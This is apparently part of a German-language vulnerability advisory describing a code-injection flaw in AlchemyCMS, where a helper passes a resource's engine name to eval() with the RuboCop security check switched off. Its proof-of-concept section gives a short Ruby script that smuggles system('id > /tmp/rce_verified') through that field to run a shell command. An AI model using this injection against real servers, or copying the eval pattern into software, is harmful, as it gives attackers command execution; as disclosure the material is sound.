def resource_url_proxy(resource_handler)
  if resource_handler.in_engine?
    eval(resource_handler.engine_name) # rubocop:disable Security/Eval
  else
    main_app
  end
end
Das Vorhandensein der Direktive # rubocop:disable Security/Eval bestätigt, dass die sicherheitsrelevanten Auswirkungen der Verwendung von eval() erkannt, aber bei der Implementierung umgangen wurden.

3. Proof of Concept (PoC)
Angriffsvektor
Die Schwachstelle wird innerhalb der administrativen Oberfläche von AlchemyCMS ausgelöst, wenn ressourcenbasierte Ansichten (z. B. Sites oder Languages) gerendert werden. Wenn ein Angreifer die Modulkonfiguration oder die zugrunde liegenden Ressourcendaten manipulieren kann, kann er eine Ausführung erreichen.

Eigenständiges Exploit-Skript
Das folgende Skript demonstriert die beliebige Codeausführung, indem es die anfällige Helper-Umgebung simuliert:

Ruby

require 'ostruct'

def resource_url_proxy(resource_handler)
  if resource_handler.engine_name && !resource_handler.engine_name.empty?
    eval(resource_handler.engine_name)
  end
end

# Payload: Führt den Systembefehl 'id' aus und erstellt eine Beweisdatei
payload = "system('id > /tmp/rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)

resource_url_proxy(handler)
Nachweis der Ausführung
Bei der Ausführung wird der Systembefehl verarbeitet, wodurch der Angreifer Zugriff auf die Umgebung des Servers erhält.